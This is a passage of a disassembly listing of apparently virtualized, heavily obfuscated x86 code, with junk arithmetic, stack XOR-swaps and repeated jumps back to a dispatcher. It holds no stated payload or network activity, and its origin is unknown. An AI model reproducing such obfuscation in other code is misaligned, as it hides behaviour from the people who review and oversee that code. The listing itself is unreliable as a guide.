; ---------------------------------------------------------------------------


loc_583DF8:				; CODE XREF: sub_57DD3A+101D6j
		mov	bh, 0F3h
		or	bh, 24h
		push	edx
		jmp	loc_581B65
; ---------------------------------------------------------------------------


loc_583E03:				; CODE XREF: sub_57DD3A+E554j
		pop	edx
		sub	esp, 2
		mov	word ptr [esp+0E8h+var_E8], bx
		mov	bh, 4Ah
		sub	al, 64h
		jmp	loc_58507C
; ---------------------------------------------------------------------------


loc_583E17:				; CODE XREF: sub_57DD3A+55E5j
		add	ebx, 1284BCBh
		sub	ebx, edx
		sub	ebx, 1284BCBh
		jmp	loc_58CDEB
; ---------------------------------------------------------------------------


loc_583E2A:				; CODE XREF: sub_57DD3A+E5E0j
		shr	eax, 6
		jmp	loc_583BE9
; ---------------------------------------------------------------------------


loc_583E32:				; CODE XREF: sub_57DD3A+A0A4j
		add	ebp, 4
		jmp	loc_586FA2
; ---------------------------------------------------------------------------


loc_583E3D:				; CODE XREF: sub_57DD3A+50C7j
		pop	edx
		not	bl
		push	ecx
		jmp	loc_58CCCB
; ---------------------------------------------------------------------------


loc_583E46:				; CODE XREF: sub_57DD3A+DE4Bj
		push	edi
		mov	edi, 4
		add	ebp, edi
		jmp	loc_58A21D
; ---------------------------------------------------------------------------


loc_583E53:				; CODE XREF: sub_57DD3A+8FB0j
		mov	ebp, 1F024150h
		push	ebp
		mov	ebp, 3B495332h
		jmp	loc_58D766
; ---------------------------------------------------------------------------


loc_583E63:				; CODE XREF: sub_57DD3A+EF12j
		not	ebp
		dec	ebp
		push	ebx
		mov	ebx, 606C3FC7h
		sub	ebx, 9589D00Dh
		add	ebp, 6AEF4D39h
		add	ebp, ebx
		sub	ebp, 6AEF4D39h
		pop	ebx
		jmp	loc_5821A7
; ---------------------------------------------------------------------------


loc_583E86:				; CODE XREF: sub_57DD3A+E9A4j
		push	ebp
		mov	ebp, 79325844h
		push	edx
		mov	edx, 44D01C1Ah
		not	edx
		not	edx
		jmp	loc_58A54F
; ---------------------------------------------------------------------------


loc_583E9B:				; CODE XREF: sub_57DD3A+F9ABj
		and	edi, 66330DC9h
		sub	edi, 612FFFCh
		add	ebp, edi
		pop	edi
		push	eax
		jmp	loc_58DDA3
; ---------------------------------------------------------------------------


loc_583EB0:				; CODE XREF: sub_57DD3A+9F93j
		sub	esi, 0D1B0EADh
		xor	esi, 6F034CF6h
		sub	edi, 1B1E7A48h
		add	edi, esi
		add	edi, 1B1E7A48h
		pop	esi
		push	ebp
		mov	ebp, 763B1302h
		neg	ebp
		neg	ebp
		or	ebp, 4423F8Ch
		shr	ebp, 6
		sub	ebp, 72E86AA9h
		sub	ebp, 8EF18253h
		add	edi, 644616D3h
		jmp	loc_58C000
; ---------------------------------------------------------------------------


loc_583EF5:				; CODE XREF: sub_57DD3A+FE4Ej
		shr	esi, 3
		shr	esi, 6
		shr	esi, 8
		push	eax
		mov	eax, 6BF201F1h
		shl	eax, 4
		inc	eax
		jmp	loc_584419
; ---------------------------------------------------------------------------
		push	eax
		push	edx
		mov	edx, 625F00B4h
		jmp	loc_58BAFA
; ---------------------------------------------------------------------------


loc_583F19:				; CODE XREF: sub_57DD3A+EA7Dj
		mov	ebx, [esp+0B4h+var_B4]
		add	esp, 4
		xor	ebx, 93E59831h
		sub	eax, ebx
		pop	ebx
		add	eax, ebx
		push	0F95h
		mov	[esp+0B0h+var_B0], edi
		jmp	loc_58CC23
; ---------------------------------------------------------------------------


loc_583F3A:				; CODE XREF: sub_57DD3A+B8A3j
		add	ebx, 4
		xor	ebx, [esp+0B0h+var_B0]
		xor	[esp+0B0h+var_B0], ebx
		jmp	loc_5846C1
; ---------------------------------------------------------------------------
		mov	ecx, [esp+0B0h+var_B0]
		push	626Ch
		jmp	loc_58C6C8
; ---------------------------------------------------------------------------


loc_583F55:				; CODE XREF: sub_57DD3A+7925j
		xor	eax, [esp+0B4h+var_B4]
		mov	esp, [esp+0B4h+var_B4]
		shr	ecx, 6
		jmp	loc_582DB9
; ---------------------------------------------------------------------------


loc_583F63:				; CODE XREF: sub_57DD3A+8C4Ej
		xor	edx, [esp+0B4h+var_B4]
		mov	esp, [esp+0B4h+var_B4]
		add	esp, 4
		sub	[esp+0B0h+var_B0], eax
		pushf
		jmp	loc_5818C9
; ---------------------------------------------------------------------------


loc_583F75:				; CODE XREF: sub_57DD3A+B6A8j
		push	esp
		pop	ebp
		push	ebx
		push	edi
		mov	edi, 13774874h
		jmp	loc_588557
; ---------------------------------------------------------------------------


loc_583F83:				; CODE XREF: sub_57DD3A+BEF2j
		add	esp, 4
		jmp	loc_58B771
; ---------------------------------------------------------------------------


loc_583F8B:				; CODE XREF: sub_57DD3A+CFEAj
		sub	esp, 4
		mov	[esp+0BCh+var_BC], esi
		mov	esi, esp
		push	ebx
		jmp	loc_5892C1
; ---------------------------------------------------------------------------


loc_583F9C:				; CODE XREF: sub_57DD3A+EC0Aj
		pop	esi
		shr	esi, 3
		shl	esi, 3
		not	esi
		sub	esi, 0FF92628Dh
		xor	ebp, esi
		jmp	loc_583A47
; ---------------------------------------------------------------------------


loc_583FB2:				; CODE XREF: sub_57DD3A+E4A2j
		pop	[esp+0BCh+var_BC]
		pop	esp
		push	ecx
		mov	ecx, 0FA5E28h
		add	ecx, 1
		shr	ecx, 5
		sub	ecx, 0D845CDD6h
		xor	eax, ecx
		push	[esp+0B8h+var_B8]
		mov	ecx, [esp+0BCh+var_BC]
		add	esp, 4
		add	esp, 4
		push	dword ptr [edi+eax*4]
		add	[esp+0B8h+var_B8], 13454081h
		jmp	loc_58227A
; ---------------------------------------------------------------------------


loc_583FE5:				; CODE XREF: sub_57DD3A+D8D5j
		pop	edx
		add	edx, edi
		jmp	loc_589067
; ---------------------------------------------------------------------------


loc_583FED:				; CODE XREF: sub_57DD3A+860Bj
		pop	ebx
		xor	edx, 7176452Dh
		jmp	loc_5840CA
; ---------------------------------------------------------------------------


loc_583FF9:				; CODE XREF: sub_57DD3A+77DEj
		xor	ebp, [esp+0B0h+var_B0]
		pop	esp
		push	ebx
		push	esi
		mov	esi, 56294CE2h
		push	ebp
		jmp	loc_58D165
; ---------------------------------------------------------------------------


loc_58400A:				; CODE XREF: sub_57DD3A+CA7Ej
		shl	bl, 1
		xor	bl, 90h
		jmp	loc_58D432
; ---------------------------------------------------------------------------


loc_584014:				; CODE XREF: sub_57DD3A+F53Fj
		xor	ebp, [esp+0B8h+var_B8]
		xor	[esp+0B8h+var_B8], ebp
		xor	ebp, [esp+0B8h+var_B8]
		pop	esp
		push	ebp
		mov	ebp, 49714625h
		jmp	loc_583841
; ---------------------------------------------------------------------------


loc_584029:				; CODE XREF: sub_57DD3A+732Aj
		xor	ebp, 59562F59h
		sub	ebp, 0D316A14Fh
		sub	ebx, 97337FFh
		sub	ebx, 6E8820CDh
		add	ebx, ebp
		add	ebx, 6E8820CDh
		push	esi
		mov	esi, 61094C80h
		neg	esi
		jmp	loc_588BA1
; ---------------------------------------------------------------------------


loc_584056:				; CODE XREF: sub_57DD3A+B507j
		mov	dh, 3Bh
		jmp	loc_58300E
; ---------------------------------------------------------------------------


loc_58405D:				; CODE XREF: sub_57DD3A+D878j
		pop	esi
		pop	[esp+0B8h+var_B8]
		pop	esp
		push	3D6Ch
		jmp	loc_585AED
; ---------------------------------------------------------------------------


loc_58406C:				; CODE XREF: sub_57DD3A+8796j
		pop	esi
		pop	[esp+0B0h+var_B0]
		mov	esp, [esp+0ACh+var_AC]
		mov	word ptr [esp+0ACh+var_AC], dx
		jmp	loc_58A571
; ---------------------------------------------------------------------------


loc_58407C:				; CODE XREF: sub_57DD3A+4251j
		add	bh, 9Fh
		push	ecx
		mov	ch, bh
		mov	dl, ch
		pop	ecx
		mov	ebx, [esp+7Eh+var_80+2]
		push	edx
		mov	edx, esp
		add	edx, 4
		add	edx, 4
		xchg	edx, [esp+82h+var_84+2]
		pop	esp
		shr	dl, 3
		push	ecx
		mov	ecx, esp
		push	edi
		mov	edi, 4B422E36h
		and	edi, 43946D42h
		jmp	loc_58778A
; ---------------------------------------------------------------------------


loc_5840B2:				; CODE XREF: sub_57DD3A+7B07j
		xchg	edx, [esp+86h+var_88+2]
		mov	esp, [esp+86h+var_88+2]
		shl	[esp+86h+var_88+2], cl
		pushf
		jmp	loc_5818C9
; ---------------------------------------------------------------------------


loc_5840C1:				; CODE XREF: sub_57DD3A+7609j
		pop	ebp
		add	ebx, esi
		pop	esi
		jmp	loc_582A72
; ---------------------------------------------------------------------------


loc_5840CA:				; CODE XREF: sub_57DD3A+62BAj
		shl	edx, 7
		push	edx
		not	[esp+0B4h+var_B4]
		pop	edx
		sub	esp, 4
		mov	[esp+0B4h+var_B4], edi
		jmp	loc_588F82
; ---------------------------------------------------------------------------


loc_5840DD:				; CODE XREF: sub_57DD3A+5F79j
		add	ecx, eax
		pop	eax
		push	edx
		mov	edx, 5C283F62h
		shl	edx, 6
		xor	edx, 2D493419h
		jmp	loc_584170
; ---------------------------------------------------------------------------


loc_5840F4:				; CODE XREF: sub_57DD3A+FBC1j
		pop	eax
		xor	bh, ch
		pop	ecx
		shr	bh, 3
		not	bh
		push	eax
		mov	ah, 0A6h
		shl	ah, 6
		neg	ah
		jmp	loc_58AD49
; ---------------------------------------------------------------------------


loc_58410A:				; CODE XREF: sub_57DD3A+A105j
		pop	edi
		xchg	eax, [esp+84h+var_84]
		jmp	loc_588F68
; ---------------------------------------------------------------------------


loc_584113:				; CODE XREF: sub_57DD3A+B7D9j
		push	ebx
		mov	ebx, esp
		push	edi
		mov	edi, 4
		add	ebx, edi
		pop	edi
		add	ebx, 2
		xchg	ebx, [esp+88h+var_88]
		pop	esp
		movzx	eax, ax
		push	4092h
		mov	[esp+88h+var_88], eax
		push	5973h
		mov	[esp+8Ch+var_8C], esp
		add	[esp+8Ch+var_8C], 4
		jmp	loc_589C31
; ---------------------------------------------------------------------------


loc_584148:				; CODE XREF: sub_57DD3A+CB55j
		push	edi
		jmp	loc_58BA3E
; ---------------------------------------------------------------------------


loc_58414E:				; CODE XREF: sub_57DD3A+E80Bj
		push	[esp+90h+var_8C]
		pop	esi
		pop	[esp+90h+var_90]
		pop	esp
		jmp	loc_58A079
; ---------------------------------------------------------------------------


loc_58415C:				; CODE XREF: sub_57DD3A+9D2Ej
		pop	edi
		dec	edi
		xchg	edx, edi
		xchg	ecx, edx
		not	ecx
		xchg	ecx, edx
		xchg	edx, edi
		sub	esp, 4
		jmp	loc_585C94
; ---------------------------------------------------------------------------


loc_584170:				; CODE XREF: sub_57DD3A+63B5j
		and	edx, 5290555Dh
		shl	edx, 6
		push	edi
		push	557E7F50h
		pop	edi
		inc	edi
		jmp	loc_588EDC
; ---------------------------------------------------------------------------


loc_584186:				; CODE XREF: sub_57DD3A+EB1Fj
		add	ebx, 4
		push	1009h
		mov	[esp+94h+var_94], ecx
		jmp	loc_5842D6
; ---------------------------------------------------------------------------


loc_584199:				; CODE XREF: sub_57DD3A+EAD2j
		add	edx, eax
		mov	[edx], bh
		jmp	loc_584A36
; ---------------------------------------------------------------------------


loc_5841A2:				; CODE XREF: sub_57DD3A+CF95j
		xor	esi, [esp+94h+var_94]
		xor	[esp+94h+var_94], esi
		xor	esi, [esp+94h+var_94]
		pop	esp
		sub	esi, 4
		xor	esi, [esp+90h+var_90]
		xor	[esp+90h+var_90], esi
		xor	esi, [esp+90h+var_90]
		mov	esp, [esp+90h+var_90]
		mov	[esp+90h+var_90], ecx
		jmp	loc_5818C9
; ---------------------------------------------------------------------------


loc_5841C3:				; CODE XREF: sub_57DD3A+A21Aj
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		push	ecx
		mov	ecx, 4
		add	ebp, ecx
		pop	ecx
		xchg	ebp, [esp+94h+var_94]
		jmp	loc_582399
; ---------------------------------------------------------------------------


loc_5841DD:				; CODE XREF: sub_57DD3A+6573j
		pop	esi
		jmp	loc_58B517
; ---------------------------------------------------------------------------


loc_5841E3:				; CODE XREF: sub_57DD3A+3D84j
		mov	eax, [esp+62h+var_64+2]
		push	edx
		mov	edx, esp
		add	edx, 4
		sub	edx, 4
		xchg	edx, [esp+66h+var_68+2]
		pop	esp
		mov	[esp+62h+var_64+2], ebx
		jmp	loc_583A15
; ---------------------------------------------------------------------------


loc_5841FE:				; CODE XREF: sub_57DD3A+8E1Cj
		push	edi
		push	eax
		mov	eax, 2
		jmp	loc_581B11
; ---------------------------------------------------------------------------


loc_58420A:				; CODE XREF: sub_57DD3A+EF94j
		mov	ch, dl
		pop	edx
		mov	ah, ch
		mov	ecx, [esp+66h+var_68+2]
		jmp	loc_586A76
; ---------------------------------------------------------------------------


loc_584217:				; CODE XREF: sub_57DD3A+A079j
		rol	byte ptr [esp+66h+var_68+2], cl
		pushf
		jmp	loc_58DD34
; ---------------------------------------------------------------------------
		push	dword ptr [edi+1Ch]
		popf
		pop	cx
		rcl	[esp+68h+var_68], cl
		pushf
		jmp	loc_5818C9
; ---------------------------------------------------------------------------


loc_58422F:				; CODE XREF: sub_57DD3A+5B76j
		and	eax, ebx
		pop	ebx
		shr	eax, 8
		xor	eax, ecx
		push	edx
		push	esp
		jmp	loc_58BD89
; ---------------------------------------------------------------------------


loc_58423E:				; CODE XREF: sub_57DD3A+A837j
		sub	ebp, 0C8A365Fh
		add	ebp, esi
		add	ebp, 0C8A365Fh
		pop	esi
		push	ebp
		push	[esp+92h+var_90+2]
		pop	ebp
		pop	[esp+92h+var_94+2]
		pop	esp
		add	esp, 4
		push	[esp+86h+var_88+2]
		pop	ecx
		push	5701h
		mov	[esp+8Ah+var_8C+2], eax
		push	esp
		pop	eax
		sub	esp, 4
		mov	[esp+8Eh+var_90+2], ecx
		push	edx
		mov	edx, 4
		mov	ecx, edx
		pop	edx
		add	eax, ecx
		push	[esp+8Eh+var_90+2]
		pop	ecx
		add	esp, 4
		push	ecx
		mov	ecx, 4
		add	eax, ecx
		pop	ecx
		jmp	loc_58B393
; ---------------------------------------------------------------------------


loc_584294:				; CODE XREF: sub_57DD3A+C766j
		xor	[esp+8Ah+var_8C+2], edx
		xor	edx, [esp+8Ah+var_8C+2]
		mov	esp, [esp+8Ah+var_8C+2]
		mov	[esp+8Ah+var_8C+2], ecx
		jmp	loc_58DAD8
; ---------------------------------------------------------------------------


loc_5842A5:				; CODE XREF: sub_57DD3A+FE3Cj
		mov	[esp+8Ah+var_8C+2], esi
		push	69F240DEh
		jmp	loc_5841DD
; ---------------------------------------------------------------------------


loc_5842B2:				; CODE XREF: sub_57DD3A+FD99j
		mov	ecx, 0A3AFA2FBh
		add	ecx, edi
		pop	edi
		jmp	loc_5893D0
; ---------------------------------------------------------------------------


loc_5842BF:				; CODE XREF: sub_57DD3A+9C78j
		mov	ebp, [esp+8Ah+var_8C+2]
		add	esp, 4
		push	edx
		mov	edx, 4
		add	ebp, edx
		pop	edx
		jmp	loc_586CAD
; ---------------------------------------------------------------------------


loc_5842D6:				; CODE XREF: sub_57DD3A+645Aj
		push	ebp
		push	2
		pop	ebp
		push	ebp
		pop	ecx
		pop	ebp
		sub	ebx, ecx
		push	[esp+94h+var_94]
		jmp	loc_58C399
; ---------------------------------------------------------------------------


loc_5842EA:				; CODE XREF: sub_57DD3A+E875j
		sub	edx, 664840D1h
		add	edx, 1EB83667h
		mov	esi, [esp+98h+var_98]
		add	esp, 4
		push	edi
		mov	edi, 2
		add	edx, edi
		mov	edi, [esp+98h+var_98]
		jmp	loc_58B14F
; ---------------------------------------------------------------------------


loc_58430F:				; CODE XREF: sub_57DD3A+F650j
		mov	[esp+98h+var_98], eax
		push	edx
		mov	edx, 16E8755Ah
		mov	eax, edx
		pop	edx
		mov	edx, 0FFB6BC35h
		add	edx, 638B7C31h
		jmp	loc_58C8E7
; ---------------------------------------------------------------------------


loc_58432B:				; CODE XREF: sub_57DD3A+847Aj
		or	edi, 37C5C8Ch
		push	ebx
		mov	ebx, 27FC5DAAh
		xor	edi, ebx
		mov	ebx, [esp+9Ch+var_9C]
		add	esp, 4
		mov	ecx, edi
		jmp	loc_58D49F
; ---------------------------------------------------------------------------


loc_584349:				; CODE XREF: sub_57DD3A+DE00j
		or	[edi+20h], edx
		pop	edx
		sub	dword ptr [edi+20h], 65A4158Ah
		push	ecx
		mov	ecx, 4210F84h
		add	ecx, 0FBDEF09Ch
		jmp	loc_58CC0E
; ---------------------------------------------------------------------------


loc_584365:				; CODE XREF: sub_57DD3A+C87Bj
		mov	ebx, [esp+98h+var_98]
		push	eax
		push	7E7Fh
		mov	[esp+0A0h+var_A0], esp
		add	[esp+0A0h+var_A0], 4
		pop	eax
		jmp	loc_585627
; ---------------------------------------------------------------------------


loc_58437E:				; CODE XREF: sub_57DD3A+D97Dj
		sub	esp, 4
		mov	[esp+0A0h+var_A0], ecx
		mov	cl, bl
		mov	dh, cl
		pop	ecx
		jmp	loc_586C48
; ---------------------------------------------------------------------------


loc_584391:				; CODE XREF: sub_57DD3A+FEDAj
		mov	esi, [esp+9Ch+var_9C]
		jmp	loc_58B015
; ---------------------------------------------------------------------------


loc_584399:				; CODE XREF: sub_57DD3A+4F1Ej
		add	eax, 12315C4Ch
		jmp	loc_58BBB6
; ---------------------------------------------------------------------------


loc_5843A3:				; CODE XREF: sub_57DD3A+6DB1j
		pop	ebx
		jmp	loc_58D02D
; ---------------------------------------------------------------------------


loc_5843A9:				; CODE XREF: sub_57DD3A+4ADCj
		xor	esi, 51274D5h
		or	esi, 56A82B21h
		jmp	loc_58DCB7
; ---------------------------------------------------------------------------


loc_5843BA:				; CODE XREF: sub_57DD3A+AD13j
		sub	ecx, ebp
		jmp	loc_58D9AF
; ---------------------------------------------------------------------------


loc_5843C1:				; CODE XREF: sub_57DD3A+D15Ej
		add	eax, 4
		push	edx
		push	eax
		mov	eax, 6C7C5A55h
		push	ebp
		mov	ebp, 5B381CE6h
		jmp	loc_584696
; ---------------------------------------------------------------------------


loc_5843D8:				; CODE XREF: sub_57DD3A+97BEj
		mov	[esp+0C2h+var_C4+2], ecx
		push	ax
		mov	ah, 77h
		mov	ch, ah
		pop	ax
		xor	dl, ch
		mov	ecx, [esp+0C2h+var_C4+2]
		add	esp, 4
		push	ebx
		push	edx
		mov	dh, 35h
		jmp	loc_58B4A1
; ---------------------------------------------------------------------------


loc_5843F4:				; CODE XREF: sub_57DD3A+7966j
		pop	ebp
		add	ebp, 649C4BA7h
		add	ebp, eax
		sub	ebp, 649C4BA7h
		pop	eax
		xchg	ebp, [esp+0BEh+var_C0+2]
		pop	esp
		movsx	ecx, ax
		push	edi
		mov	edi, esp
		push	esi
		mov	esi, 4
		jmp	loc_5888A1
; ---------------------------------------------------------------------------


loc_584419:				; CODE XREF: sub_57DD3A+61CEj
		xor	eax, 6E61EA7h
		jmp	loc_582FDD
; ---------------------------------------------------------------------------
		mov	ax, word ptr [esp+0ACh+var_AC]
		push	ebp
		mov	ebp, esp
		push	ecx
		mov	ecx, 7B6F4E7Dh
		push	edi
		mov	edi, 4FE53084h
		or	ecx, edi
		pop	edi
		dec	ecx
		push	ecx
		not	[esp+0B8h+var_B8]
		pop	ecx
		sub	ecx, 67F86386h
		push	eax
		mov	eax, 632B7855h
		sub	ecx, eax
		jmp	loc_58518E
; ---------------------------------------------------------------------------


loc_584452:				; CODE XREF: sub_57DD3A+9931j
		sub	[esp+0B8h+var_B8], edx
		pop	edx
		push	ecx
		mov	ecx, 500B0113h
		add	edx, 61D04E4Eh
		sub	edx, ecx
		sub	edx, 61D04E4Eh
		pop	ecx
		add	edx, 0DD9BBDD4h
		sub	ecx, edx
		jmp	loc_582E72
; ---------------------------------------------------------------------------


loc_584478:				; CODE XREF: sub_57DD3A+735Bj
		sub	edx, 2
		sub	esp, 4
		jmp	loc_584E58
; ---------------------------------------------------------------------------


loc_584483:				; CODE XREF: sub_57DD3A+B6F8j
		mov	[esp+0B8h+var_B8], ebp
		mov	ebp, 7C8662FAh
		push	edx
		jmp	loc_5833C9
; ---------------------------------------------------------------------------


loc_584491:				; CODE XREF: sub_57DD3A+4FABj
		pop	ebp
		shr	ebx, 3
		push	eax
		mov	eax, 0FFFFFFFFh
		add	ebx, eax
		pop	eax
		not	ebx
		push	ebp
		jmp	loc_58278E
; ---------------------------------------------------------------------------


loc_5844A6:				; CODE XREF: sub_57DD3A+4E3Ej
		sub	esp, 4
		mov	[esp+58h+var_58], ecx
		mov	ch, 0E0h
		neg	ch
		shr	ch, 7
		or	ch, 89h
		shl	ch, 8
		xor	ch, 97h
		sub	bl, ch
		pop	ecx
		jmp	loc_58959F
; ---------------------------------------------------------------------------


loc_5844C4:				; CODE XREF: sub_57DD3A+416Aj
		xchg	ebp, [esp+7Eh+var_80+2]
		mov	esp, [esp+7Eh+var_80+2]
		mov	word ptr [esp+7Eh+var_80+2], dx
		jmp	loc_588CFA
; ---------------------------------------------------------------------------


loc_5844D3:				; CODE XREF: sub_57DD3A+DE77j
		pop	esp
		jmp	loc_58A452
; ---------------------------------------------------------------------------


loc_5844D9:				; CODE XREF: sub_57DD3A+CF59j
		push	edx
		mov	edx, 673F6D9Eh
		xchg	ecx, edx
		dec	ecx
		xchg	ecx, edx
		shr	edx, 6
		jmp	loc_5888E2
; ---------------------------------------------------------------------------


loc_5844EC:				; CODE XREF: sub_57DD3A+E472j
		xor	ebp, [esp+7Eh+var_80+2]
		pop	esp
		sar	[esp+7Ah+var_7C+2], cl
		pushf
		jmp	loc_5818C9
; ---------------------------------------------------------------------------


loc_5844F9:				; CODE XREF: sub_57DD3A+6CFDj
		pop	eax
		jmp	loc_581A90
; ---------------------------------------------------------------------------


loc_5844FF:				; CODE XREF: sub_57DD3A+F292j
		add	esp, 4
		xor	eax, [esp+76h+var_78+2]
		xor	[esp+76h+var_78+2], eax
		xor	eax, [esp+76h+var_78+2]
		mov	esp, [esp+76h+var_78+2]
		mov	word ptr [esp+76h+var_78+2], cx
		movzx	cx, al
		push	cx
		pushf
		jmp	loc_5818C9
; ---------------------------------------------------------------------------
		db 83h,	0ECh, 4
		dd 0FFD5CDE9h, 0C8B66FFh, 4A10E924h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_584532:				; CODE XREF: sub_57DD3A+8D2Ej
		push	5F20h
		mov	[esp+80h+var_80], esi
		push	1
		jmp	loc_582B30
; ---------------------------------------------------------------------------


loc_584544:				; CODE XREF: sub_57DD3A+E5CCj
		push	ebx
		mov	ebx, 115A715Fh
		add	ebx, 411354B9h
		shr	ebx, 5
		jmp	loc_58C9E0
; ---------------------------------------------------------------------------
		lodsd
		sub	esp, 4
		mov	[esp+8Ch+var_8C], edi
		push	27472958h
		pop	edi
		sub	eax, 4B4D125Dh
		add	eax, edi
		jmp	loc_584F2D
; ---------------------------------------------------------------------------


loc_584571:				; CODE XREF: sub_57DD3A+BFD4j
		mov	ebp, 2DC4E6Ah
		xor	ebp, 2DC4E6Eh
		add	esi, ebp
		push	[esp+8Ch+var_8C]
		mov	ebp, [esp+90h+var_90]
		jmp	loc_5839AF
; ---------------------------------------------------------------------------


loc_584589:				; CODE XREF: sub_57DD3A+A163j
		pop	esp
		mov	fs:[edx], al
		jmp	loc_5818C9
; ---------------------------------------------------------------------------


loc_584592:				; CODE XREF: sub_57DD3A+7413j
		neg	ebp
		push	edi
		mov	edi, 3C79692Eh
		xor	edi, 75530593h
		jmp	loc_58D583
; ---------------------------------------------------------------------------


loc_5845A5:				; CODE XREF: sub_57DD3A+FC70j
		mov	edx, 76DB6C2Fh
		jmp	loc_5822B0
; ---------------------------------------------------------------------------


loc_5845AF:				; CODE XREF: sub_57DD3A+49B1j
		pop	dx
		push	edx
		mov	dl, 39h
		jmp	loc_58C3B7
; ---------------------------------------------------------------------------


loc_5845B9:				; CODE XREF: sub_57DD3A+81EEj
		add	[esp+84h+var_7C], 7B7C738Fh
		jmp	loc_58B7E5
; ---------------------------------------------------------------------------


loc_5845C6:				; CODE XREF: sub_57DD3A+79BCj
		add	ch, 1
		shr	ch, 3
		push	small 20AEh
		mov	word ptr [esp+86h+var_88+2], ax
		mov	al, 0E8h
		jmp	loc_58917D
; ---------------------------------------------------------------------------


loc_5845DB:				; CODE XREF: sub_57DD3A+7F82j
		dec	[esp+86h+var_88+2]
		jmp	loc_5876B8
; ---------------------------------------------------------------------------


loc_5845E3:				; CODE XREF: sub_57DD3A+9307j
		mov	ebp, 2AD06924h
		and	edx, ebp
		pop	ebp
		and	edx, 0FD44DEDh
		inc	edx
		add	edx, 1
		add	edx, 0FF6FF802h
		mov	ebp, edx
		pop	edx
		add	ebx, ebp
		pop	ebp
		xor	ebx, [esp+7Ah+var_7C+2]
		xor	[esp+7Ah+var_7C+2], ebx
		xor	ebx, [esp+7Ah+var_7C+2]
		mov	esp, [esp+7Ah+var_7C+2]
		sub	[esp+7Ah+var_7C+2], 39190A56h
		sub	[esp+7Ah+var_7C+2], eax
		push	ebp
		push	edx
		mov	edx, 33772BEh
		neg	edx
		jmp	loc_5884AE
; ---------------------------------------------------------------------------
		push	[esp+82h+var_84+2]
		jmp	loc_5881B1
; ---------------------------------------------------------------------------


loc_58462D:				; CODE XREF: sub_57DD3A+8090j
		and	edx, ecx
		jmp	loc_5881AB
; ---------------------------------------------------------------------------


loc_584634:				; CODE XREF: sub_57DD3A+8768j
		push	edx
		mov	edx, 60306A57h
		add	esi, edx
		pop	edx
		jmp	loc_585B66
; ---------------------------------------------------------------------------


loc_584642:				; CODE XREF: sub_57DD3A+A177j
		jmp	loc_5818C9
; ---------------------------------------------------------------------------


loc_584647:				; CODE XREF: sub_57DD3A+E571j
		mov	edi, 2
		jmp	loc_582FA3
; ---------------------------------------------------------------------------


loc_584651:				; CODE XREF: sub_57DD3A+F486j
		pop	bx
		jmp	loc_5869D0
; ---------------------------------------------------------------------------


loc_584658:				; CODE XREF: sub_57DD3A+BF12j
		sub	esi, 4
		xchg	esi, [esp+84h+var_84]
		pop	esp
		mov	[esp+80h+var_80], esp
		jmp	loc_58D008
; ---------------------------------------------------------------------------


loc_58466A:				; CODE XREF: sub_57DD3A+5A01j
		add	eax, edx
		sub	eax, 7A476884h
		pop	edx
		jmp	loc_5887C6
; ---------------------------------------------------------------------------


loc_584677:				; CODE XREF: sub_57DD3A+C160j
		mov	edx, esp
		add	edx, 4
		add	edx, 4
		xchg	edx, [esp+9Ch+var_9C]
		pop	esp
		sub	esp, 4
		mov	[esp+9Ch+var_9C], edx
		push	45CA56DDh
		jmp	loc_582AAA
; ---------------------------------------------------------------------------


loc_584696:				; CODE XREF: sub_57DD3A+6699j
		not	ebp
		push	eax
		jmp	loc_582890
; ---------------------------------------------------------------------------


loc_58469E:				; CODE XREF: sub_57DD3A+4A35j
		add	esp, 4
		push	[esp+9Eh+var_A0+2]
		pop	edx
		sub	esp, 4
		mov	[esp+0A2h+var_A4+2], edx
		mov	edx, esp
		add	edx, 4
		add	edx, 4
		xchg	edx, [esp+0A2h+var_A4+2]
		jmp	loc_58D305
; ---------------------------------------------------------------------------


loc_5846C1:				; CODE XREF: sub_57DD3A+6209j
		xor	ebx, [esp+0B0h+var_B0]
		mov	esp, [esp+0B0h+var_B0]
		mov	eax, [esp+0B0h+var_B0]
		push	esi
		push	esp
		mov	esi, [esp+0B8h+var_B8]
		jmp	loc_589CFC
; ---------------------------------------------------------------------------


loc_5846D4:				; CODE XREF: sub_57DD3A+6C72j
		push	357Fh
		mov	[esp+0BCh+var_BC], eax
		jmp	loc_585357
; ---------------------------------------------------------------------------


loc_5846E1:				; CODE XREF: sub_57DD3A+EA5Bj
		mov	[esp+0BCh+var_BC], eax
		jmp	loc_587E22
; ---------------------------------------------------------------------------


loc_5846E9:				; CODE XREF: sub_57DD3A+3C60j
		mov	eax, [esp+62h+var_64+2]
		add	esp, 4
		jmp	loc_584BF6
; ---------------------------------------------------------------------------


loc_5846F4:				; CODE XREF: sub_57DD3A+FE75j
		pop	edi
		xor	ebx, [esp+5Ah+var_5C+2]
		jmp	loc_589F91
; ---------------------------------------------------------------------------


loc_5846FD:				; CODE XREF: sub_57DD3A+4E1Fj
		mov	ebp, 1D313411h
		jmp	loc_58DA39
; ---------------------------------------------------------------------------


loc_584707:				; CODE XREF: sub_57DD3A+4713j
		mov	ebp, [esp+96h+var_98+2]
		add	esp, 4
		sub	esp, 4
		jmp	loc_587A6D
; ---------------------------------------------------------------------------


loc_584718:				; CODE XREF: sub_57DD3A+B16Ej
		add	edi, 779F39B4h
		add	edi, esi
		sub	edi, 779F39B4h
		jmp	loc_582134
; ---------------------------------------------------------------------------


loc_58472B:				; CODE XREF: sub_57DD3A+5ACEj
		mov	edi, 24E86BBBh
		jmp	loc_585CA3
; ---------------------------------------------------------------------------


loc_584735:				; CODE XREF: sub_57DD3A+EC49j
		add	esp, 4
		or	edx, eax
		shl	edx, 1
		push	1F59h
		mov	[esp+0B8h+var_B8], ecx
		push	eax
		mov	eax, 1D6D63B8h
		shl	eax, 7
		shl	eax, 6
		push	5D15h
		mov	[esp+0C0h+var_C0], ebx
		mov	ebx, 5F0125B8h
		or	ebx, 5D31486Fh
		neg	ebx
		dec	ebx
		push	edi
		mov	edi, 523266EFh
		jmp	loc_5855B7
; ---------------------------------------------------------------------------


loc_584771:				; CODE XREF: sub_57DD3A+7781j
		push	esi
		jmp	loc_588804
; ---------------------------------------------------------------------------


loc_584777:				; CODE XREF: sub_57DD3A+E04Aj
		sub	edi, 0CEDE52DAh
		add	ebp, edi
		pop	edi
		jmp	loc_585C2B
; ---------------------------------------------------------------------------


loc_584785:				; CODE XREF: sub_57DD3A+7315j
		push	edx
		jmp	loc_5887F5
; ---------------------------------------------------------------------------


loc_58478B:				; CODE XREF: sub_57DD3A+B0CEj
		add	edi, 2
		push	edi
		jmp	loc_58978E
; ---------------------------------------------------------------------------


